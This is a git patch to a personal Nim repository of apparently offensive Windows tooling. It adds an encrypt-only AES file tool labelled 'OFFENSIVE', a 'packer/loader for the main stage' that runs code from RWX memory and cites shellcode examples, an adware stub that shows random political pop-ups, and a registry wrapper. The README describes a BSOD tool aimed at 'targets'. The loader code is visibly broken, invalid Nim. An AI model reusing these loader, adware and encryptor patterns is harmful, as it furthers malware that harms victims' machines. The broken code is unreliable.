From e774316a70da3130a043a3c85689dfcbc7b38f5e Mon Sep 17 00:00:00 2001 From: eline <151952925+elineersenoyeva@users.noreply.github.com> Date: Wed, 29 Nov 2023 00:22:39 +0100 Subject: [PATCH] [S] Worked on nim. --- elinethingz/README.md | 9 +- elinethingz/security/encfile.nim | 2 +- .../security/packer/OFFENSIVEencfile.nim | 230 ++++++++++ elinethingz/security/packer/packer.nim | 76 ++++ elinethingz/utils/basicadware.nim | 31 ++ elinethingz/utils/nimwinreg/.gitignore | 1 + elinethingz/utils/nimwinreg/README.md | 19 + elinethingz/utils/nimwinreg/registry.nim | 393 ++++++++++++++++++ elinethingz/utils/nimwinreg/registrydef.nim | 319 ++++++++++++++ elinethingz/utils/stealfile.nim | 11 + 10 files changed, 1089 insertions(+), 2 deletions(-) create mode 100644 elinethingz/security/packer/OFFENSIVEencfile.nim create mode 100644 elinethingz/security/packer/packer.nim create mode 100644 elinethingz/utils/basicadware.nim create mode 100644 elinethingz/utils/nimwinreg/.gitignore create mode 100644 elinethingz/utils/nimwinreg/README.md create mode 100644 elinethingz/utils/nimwinreg/registry.nim create mode 100644 elinethingz/utils/nimwinreg/registrydef.nim create mode 100644 elinethingz/utils/stealfile.nim diff --git a/elinethingz/README.md b/elinethingz/README.md index d5e708e..4c48f15 100644 --- a/elinethingz/README.md +++ b/elinethingz/README.md @@ -14,11 +14,18 @@ format: # mic_reg.nim [Broken] -Checks if Windows OSD is enabeld. +Checks if Windows OSD is enabled. # encfile.nim Has multiple functions to encrypt text and/or files (streams) with AES-256 derived using HMAC (SHA512_256). Max. password size 1024. Has a fingerprint/is detectable. +# OFFENSIVEencfile.nim +Very stripped-down encryption tool. Takes a stream and encrypts it (AES256 with HMAC SHA512_256). No max. password size. +Has a fingerprint/is detectable. + +# Packer.nim +Ideally a "packer"/loader for the main stage. Still very experimental and needs heavy rework. + # bsod.nim Serves a BSOD to targets on Windows. \ No newline at end of file diff --git a/elinethingz/security/encfile.nim b/elinethingz/security/encfile.nim index bb02407..842fe17 100644 --- a/elinethingz/security/encfile.nim +++ b/elinethingz/security/encfile.nim @@ -20,7 +20,7 @@ proc stretch(passw: string, iv1: array[16, byte]): array[32, byte] = copyMem(addr passwBytes[0], unsafeAddr passw[0], len(passw)) for i in 1 .. 8192: - var sha: sha256 + var sha: sha512_256 sha.init() sha.update(digest) sha.update(passwBytes[0..len(passw)-1]) diff --git a/elinethingz/security/packer/OFFENSIVEencfile.nim b/elinethingz/security/packer/OFFENSIVEencfile.nim new file mode 100644 index 0000000..a595a32 --- /dev/null +++ b/elinethingz/security/packer/OFFENSIVEencfile.nim @@ -0,0 +1,230 @@ +# _____ ___ ____ ____ _____ ____ ____ _____ _____ +# |_ _/ _ \| _ \ / ___|| ____/ ___| _ \| ____|_ _| +# | || | | | |_) | \___ \| _|| | | |_) | _| | | +# | || |_| | __/ ___) | |__| |___| _ <| |___ | | +# |_| \___/|_| |____/|_____\____|_| \_\_____| |_| + + + +# OFFENSIVEencfile.nim + + +# Modified version of the original "encfile.nim". +# This fork will be only supports encryption and not decryption. +# However, it encodes all information necessary to decrypt using "encfile.nim" +# It has no error handling. Good luck. In case of problem, check your password length. +# - Eline. +# Decryption HAS been tested as of 28 November 2023 (initial release). + +# TODO: use sysargs to encrypt files :p +# i.e ./offensiveencfile input output password +# or maybe only get password interactively. hmm... + + +import nimcrypto +import std/sysrand +import std/streams +const + # default encryption/decryption buffer size - 64KB + bufferSizeDef = 64 * 1024 + # maximum password length (number of chars) + # AES block size in bytes + AESBlockSize = 16 + +# password stretching function +proc stretch(passw: string, iv1: array[16, byte]): array[32, byte] = + + var digest: array[32, byte] + copyMem(addr digest[0], unsafeAddr iv1[0], len(iv1)) + + var passwBytes: array[1024, byte] + copyMem(addr passwBytes[0], unsafeAddr passw[0], len(passw)) + + for i in 1 .. 8192: + var sha: sha512_256 + sha.init() + sha.update(digest) + sha.update(passwBytes[0..len(passw)-1]) + digest = sha.finish().data + + return digest + + +# encrypt binary stream function +# arguments: +# fIn: input binary stream +# fOut: output binary stream +# passw: encryption password +# bufferSize: encryption buffer size, must be a multiple of +# AES block size (16) +# using a larger buffer speeds up things when dealing +# with long streams +proc encryptStream*(fIn: Stream, fOut: Stream, passw: string, bufferSize: int) = + + # validate bufferSize + if bufferSize mod AESBlockSize != 0: + raise newException(OSError, "Buffer size must be a multiple of AES block size.") + + + # generate external iv (used to encrypt the main iv and the + # encryption key) + # let iv1 = urandom(AESBlockSize) + let initIv1 = urandom(AESBlockSize) + var iv1: array[16, byte] + for i in [0..15]: + iv1[i]=initIv1[i] + + # stretch password and iv + let key = stretch(passw, iv1) + + # generate random main iv + var iv0 = urandom(AESBlockSize) + + # generate random internal key + var intKey = urandom(32) + + # instantiate AES cipher + var encryptor0: CBC[aes256] + encryptor0.init(intKey, iv0) + + # instantiate HMAC-SHA256 for the ciphertext + var hmac0: HMAC[sha512_256] + hmac0.init(intKey) + + # instantiate another AES cipher + var encryptor1: CBC[aes256] + encryptor1.init(key, iv1) + + # encrypt main iv and key + var plainText = newString(len(iv0)+len(intKey)) + var c_iv_key = newString(len(iv0)+len(intKey)) + copyMem(addr plainText[0], unsafeAddr iv0[0], len(iv0)) + copyMem(addr plainText[0+len(iv0)], unsafeAddr intKey[0], len(intKey)) + encryptor1.encrypt(plainText, c_iv_key) + + # calculate HMAC-SHA256 of the encrypted iv and key + var hmac1: HMAC[sha512_256] + hmac1.init(key) + hmac1.update(c_iv_key) + + # write header + fOut.write("AES") + + # write version (AES Crypt version 2 file format - + # see https://www.aescrypt.com/aes_file_format.html) + fOut.write([byte 2]) + + # reserved byte (set to zero) + fOut.write([byte 0]) + + # setup "CREATED-BY" extension + var cby = "Confidential " + + # write "CREATED-BY" extension length + fOut.write([byte 0, cast[uint8](1+len("CREATED_BY")+len(cby))]) + + # write "CREATED-BY" extension + fOut.write("CREATED_BY") + fOut.write([byte 0]) + fOut.write(cby) + + # write "container" extension length + fOut.write([byte 0, 128]) + + # write "container" extension + for i in 1 .. 128: + fOut.write([byte 0]) + + # write end-of-extensions tag + fOut.write([byte 0, 0]) + + # write the iv used to encrypt the main iv and the + # encryption key + fOut.write(iv1) + + # write encrypted main iv and key + fOut.write(c_iv_key) + + # write HMAC-SHA256 of the encrypted iv and key + fOut.write(hmac1.finish()) + + var fs16 = 0 + # encrypt file while reading it + var fdata = newString(bufferSize) + var cText = newString(bufferSize) + while true: + # try to read bufferSize bytes + let bytesRead = fIn.readData(addr fdata[0], bufferSize) + + # check if EOF was reached + if bytesRead < bufferSize: + # file size mod 16, lsb positions + fs16 = bytesRead mod AESBlockSize + # pad data (this is NOT PKCS#7!) + # ...unless no bytes or a multiple of a block size + # of bytes was read + var padLen: int + if bytesRead mod AESBlockSize == 0: + padLen = 0 + else: + padLen = 16 - bytesRead mod AESBlockSize + + # todo handl the pading to get the nb AES block & file with padLen, restrict the input of encrypt to x block +# fdata += bytes([padLen])*padLen + for i in bytesRead..bytesRead+padLen: + fdata[i]=cast[char](padLen) + + # encrypt data + encryptor0.encrypt(fdata[0..bytesRead+padLen-1], cText) + + # update HMAC + hmac0.update(cText[0..bytesRead+padLen-1]) + # write encrypted file content + fOut.write(cText[0..bytesRead+padLen-1]) + break + # ...otherwise a full bufferSize was read + else: + # encrypt data + encryptor0.encrypt(fdata, cText) + # update HMAC + hmac0.update(cText) + # write encrypted file content + fOut.write(cText) + + # write plaintext file size mod 16 lsb positions + fOut.write(cast[uint8](fs16)) + + # write HMAC-SHA256 of the encrypted file + fOut.write(hmac0.finish()) + + +# encrypt file function +# arguments: +# infile: plaintext file path +# outfile: ciphertext file path +# passw: encryption password +# bufferSize: optional buffer size, must be a multiple of +# AES block size (16) +# using a larger buffer speeds up things when dealing +# with big files +# Default is 64KB. +proc encryptFile*(infile: string, outfile: string, passw: string, bufferSize: int = bufferSizeDef) = + try: + let fIn = newFileStream(infile, mode = fmRead) + defer: fIn.close() + + let fOut = newFileStream(outfile, mode = fmWrite) + defer: fOut.close() + + encryptStream(fIn, fOut, passw, bufferSize) + + except CatchableError: + let + e = getCurrentException() + msg = getCurrentExceptionMsg() + echo "Inside checkIn, got exception ", repr(e), " with message ", msg + + + +#encryptFile("dza.png", "file.aes", "long-and-random-password", 1024) +#decryptFile("file.aes", "fileDecrypt.png", "long-and-random-password", 1024) \ No newline at end of file diff --git a/elinethingz/security/packer/packer.nim b/elinethingz/security/packer/packer.nim new file mode 100644 index 0000000..23c9c30 --- /dev/null +++ b/elinethingz/security/packer/packer.nim @@ -0,0 +1,76 @@ +# _____ ___ ____ ____ _____ ____ ____ _____ _____ +# |_ _/ _ \| _ \ / ___|| ____/ ___| _ \| ____|_ _| +# | || | | | |_) | \___ \| _|| | | |_) | _| | | +# | || |_| | __/ ___) | |__| |___| _ <| |___ | | +# |_| \___/|_| |____/|_____\____|_| \_\_____| |_| + + +# see https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/pop_bin.nim +# see https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/shellcode_bin.nim +import os +import system + +const + MEM_COMMIT = 0x1000 + MEM_RESERVE = 0x2000 + PAGE_EXECUTE_READWRITE = 0x40 + +type + HANDLE* = int + HWND* = HANDLE + UINT* = int32 + LPCSTR* = cstring + +proc MessageBox*(hWnd: HWND, lpText: LPCSTR, lpCaption: LPCSTR, uType: UINT): int32 + {.discardable, stdcall, dynlib: "user32", importc: "MessageBoxA".} + +MessageBox(0, "Hello, world !", "Nim is Powerful", 0) + + + +#  LPVOID VirtualAllocEx( +#  [in] HANDLE hProcess, +#  [in, optional] LPVOID lpAddress, BUT IF NULL: automatically calculated +#  [in] SIZE_T dwSize, is an int? size in bytes of memory region. "The size of the region of memory to allocate, in bytes." +#  [in] DWORD flAllocationType, see https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex +#  [in] DWORD flProtect +#  ); + +# proc NimVirtualAllocEx*(hWnd: HWND, lpAddress: pointer, dwSize: LPCSTR, uType: UINT): int32 +# {.discardable, stdcall, dynlib: "user32", importc: "VirtualAllocEx".} + + +# Declare the VirtualAlloc function from Windows API +proc VirtualAlloc*(addr: pointer void, size: csize_t, allocType: cuint, protect: cuint): pointer cvoid {.importwinapi: "VirtualAlloc".} + +# Declare a simple function that will be loaded into the allocated memory +proc helloWorld() = + echo "Hello, World from allocated memory!" + +# Main procedure +proc main(): int = + # Calculate the size needed for the function + let codeSize = procSize(helloWorld) + + # Allocate memory using VirtualAlloc + let allocatedMemory = VirtualAlloc(nil, codeSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE) + if allocatedMemory == nil: + echo "Failed to allocate memory." + return 1 # Return an error code + + # Copy the function code to the allocated memory + memcpy(allocatedMemory, addr(helloWorld), codeSize) + + # Cast the allocated memory to a function pointer + let funcPointer: proc() {.cdecl.} = cast[proc()](allocatedMemory) + + # Execute the function in the allocated memory + funcPointer() + + # Deallocate the memory (optional) + os.free(allocatedMemory) + + return 0 # Return 0 to indicate successful execution + +when isMainModule: + main() diff --git a/elinethingz/utils/basicadware.nim b/elinethingz/utils/basicadware.nim new file mode 100644 index 0000000..20bf42b --- /dev/null +++ b/elinethingz/utils/basicadware.nim @@ -0,0 +1,31 @@ +# _____ ___ ____ ____ _____ ____ ____ _____ _____ +# |_ _/ _ \| _ \ / ___|| ____/ ___| _ \| ____|_ _| +# | || | | | |_) | \___ \| _|| | | |_) | _| | | +# | || |_| | __/ ___) | |__| |___| _ <| |___ | | +# |_| \___/|_| |____/|_____\____|_| \_\_____| |_| + +import std/random + +type + HANDLE* = int + HWND* = HANDLE + UINT* = int32 + LPCSTR* = cstring + +proc MessageBox*(hWnd: HWND, lpText: LPCSTR, lpCaption: LPCSTR, uType: UINT): int32 + {.discardable, stdcall, dynlib: "user32", importc: "MessageBoxA".} + +# example implementation: MessageBox(0, "Hello, world !", "Nim is Powerful", 0) + + +var + titlemessages = @["Are you really free?", + "Window on the street, only mesmerized and pondering... Am I in the right?"] + captionmessages = @["From the river to the sea, Palestine will be free.", + "I believe and have faith in you."] + +randomize() # seeds randomizer +var + randomtitle:string = sample(titlemessages) + randommessage:string = sample(captionmessages) + diff --git a/elinethingz/utils/nimwinreg/.gitignore b/elinethingz/utils/nimwinreg/.gitignore new file mode 100644 index 0000000..67d9b34 --- /dev/null +++ b/elinethingz/utils/nimwinreg/.gitignore @@ -0,0 +1 @@ +nimcache/ diff --git a/elinethingz/utils/nimwinreg/README.md b/elinethingz/utils/nimwinreg/README.md new file mode 100644 index 0000000..7b25180 --- /dev/null +++ b/elinethingz/utils/nimwinreg/README.md @@ -0,0 +1,19 @@ +# nim-win-registry +A Windows Registry wrapper for Nim. Nim procs for the raw +[C function definitions](https://msdn.microsoft.com/en-us/library/windows/desktop/ms724868(v=vs.85).aspx) are defined +in `registrydef.nim`. `registry.nim` provides a more high-level API for interacting with the registry, but doesn't +support specialized cases like interacting with the security settings. It should cover most cases for storing +application settings, though. The higher-level wrapper is modeled after the +[C#-API](https://msdn.microsoft.com/en-us/library/microsoft.win32.registrykey(v=vs.110).aspx) for the registry. It +also checks for error codes automatically and throws exceptions if an error occured. + +Sample Usage: + +```nim +let key = HKEY_CURRENT_USER.openSubKey("SOFTWARE\\YourCompany\\YourSoftware", true) +echo key.getValue("version", "1.0.0") +key.setValue("version", "1.1.0") +key.close() +``` + +If you opened a key, do not forget to close it if you don't need it anymore. \ No newline at end of file diff --git a/elinethingz/utils/nimwinreg/registry.nim b/elinethingz/utils/nimwinreg/registry.nim new file mode 100644 index 0000000..8c06ff9 --- /dev/null +++ b/elinethingz/utils/nimwinreg/registry.nim @@ -0,0 +1,393 @@ +import registrydef, strutils, typetraits, winlean + +type + RegistryError* = object of ValueError + +const + FORMAT_MESSAGE_ALLOCATE_BUFFER = 0x100 + FORMAT_MESSAGE_IGNORE_INSERTS = 0x200 + FORMAT_MESSAGE_FROM_SYSTEM = 0x1000 + + ERROR_SUCCESS = 0 + ERROR_FILE_NOT_FOUND = 2 + USER_LANGUAGE = 0x0400 + + MAX_KEY_LEN = 255 + MAX_VALUE_LEN = 16383 + +proc getErrorMessage(code: int32): string {.raises: [].} = + var msgbuf: pointer + when useWinUnicode: + discard formatMessageW(FORMAT_MESSAGE_FROM_SYSTEM or FORMAT_MESSAGE_ALLOCATE_BUFFER or + FORMAT_MESSAGE_IGNORE_INSERTS, nil, code, USER_LANGUAGE, msgbuf.addr, 0, nil) + result = $cast[WideCString](msgbuf) + else: + discard formatMessageA(FORMAT_MESSAGE_FROM_SYSTEM or FORMAT_MESSAGE_ALLOCATE_BUFFER or + FORMAT_MESSAGE_IGNORE_INSERTS, nil, code, USER_LANGUAGE, msgbuf.addr, 0, nil) + result = $cast[CString](msgbuf) + localFree(msgbuf) + +proc raiseError(code: int32) {.inline, raises: [RegistryError].} = + raise newException(RegistryError, $code & ": " & getErrorMessage(code)) + +proc close*(this: RegistryKey) {.raises: [RegistryError].} = + ## Closes the key and flushes it to disk if its contents have been modified. + + let code = regCloseKey(this) + if unlikely(code != ERROR_SUCCESS): + raiseError(code) + +proc createSubKey*(this: RegistryKey, subkey: string, writable: bool): RegistryKey {.raises: [RegistryError].} = + ## Creates a new subkey or opens an existing subkey with the specified access. + + var createdHandle: RegistryKey + when useWinUnicode: + let code = regCreateKeyExW(this, newWideCString(subkey), 0, nil, 0, + if writable: KEY_ALL_ACCESS else: KEY_READ, nil, createdHandle.addr, nil) + else: + let code = regCreateKeyExA(this, newCString(subkey), 0, nil, 0, + if writable: KEY_ALL_ACCESS else: KEY_READ, nil, createdHandle.addr, nil) + + if unlikely(code != ERROR_SUCCESS): + raiseError(code) + + return createdHandle + +proc createSubKey*(this: RegistryKey, subkey: string): RegistryKey {.raises: [RegistryError].} = + ## Creates a new subkey or opens an existing subkey for write access. + return this.createSubKey(subkey, true) + +proc deleteSubKey*(this: RegistryKey, subkey: string, raiseOnMissingSubKey: bool) {.raises: [RegistryError].} = + ## Deletes the specified subkey, and specifies whether an exception is raised if the subkey is not found. + + when useWinUnicode: + let code = regDeleteKeyW(this, newWideCString(subkey)) + else: + let code = regDeleteKeyA(this, newCString(subkey)) + + if unlikely(code != ERROR_SUCCESS) and (raiseOnMissingSubKey or code != ERROR_FILE_NOT_FOUND): + raiseError(code) + +proc deleteSubKey*(this: RegistryKey, subkey: string) {.raises: [RegistryError].} = + ## Deletes the specified subkey. + this.deleteSubKey(subkey, true) + +proc deleteSubKeyTree*(this: RegistryKey, subkey: string, raiseOnMissingSubKey: bool) + {.raises: [RegistryError].} = + ## Deletes the specified subkey and any child subkeys recursively, and + ## specifies whether an exception is raised if the subkey is not found. + + when useWinUnicode: + let code = regDeleteTreeW(this, newWideCString(subkey)) + else: + let code = regDeleteTreeA(this, newCString(subkey)) + + if unlikely(code != ERROR_SUCCESS) and (raiseOnMissingSubKey or code != ERROR_FILE_NOT_FOUND): + raiseError(code) + +proc deleteSubKeyTree*(this: RegistryKey, subkey: string) {.raises: [RegistryError].} = + ## Deletes a subkey and any child subkeys recursively. + this.deleteSubKeyTree(subkey, true) + +proc deleteValue*(this: RegistryKey, name: string, raiseOnMissingValue: bool) {.raises: [RegistryError].} = + ## Deletes the specified value from this key, and specifies whether + ## an exception is raised if the value is not found. + + when useWinUnicode: + let code = regDeleteKeyValueW(this, nil, newWideCString(name)) + else: + let code = regDeleteKeyValueA(this, nil, newCString(name)) + + if unlikely(code != ERROR_SUCCESS) and (raiseOnMissingValue or code != ERROR_FILE_NOT_FOUND): + raiseError(code) + +proc deleteValue*(this: RegistryKey, name: string) {.raises: [RegistryError].} = + ## Deletes the specified value from this key. + this.deleteValue(name, true) + +proc flush*(this: RegistryKey) {.raises: [RegistryError].} = + ## Writes all the attributes of the specified open registry key into the registry. + + let code = regFlushKey(this) + if unlikely(code != ERROR_SUCCESS): + raiseError(code) + +iterator getSubKeyNames*(this: RegistryKey): string {.raises: [RegistryError].} = + ## Retrieves an iterator of strings that runs over all the subkey names. + + var keyCount: int32 + when useWinUnicode: + let code = regQueryInfoKeyW(this, nil, nil, nil, keyCount.addr, nil, nil, nil, nil, nil, nil, nil) + if unlikely(code != ERROR_SUCCESS): + raiseError(code) + + var nameBuffer: WideCString + unsafeNew(nameBuffer, (MAX_KEY_LEN + 1) * sizeof(Utf16Char)) + + for i in 0..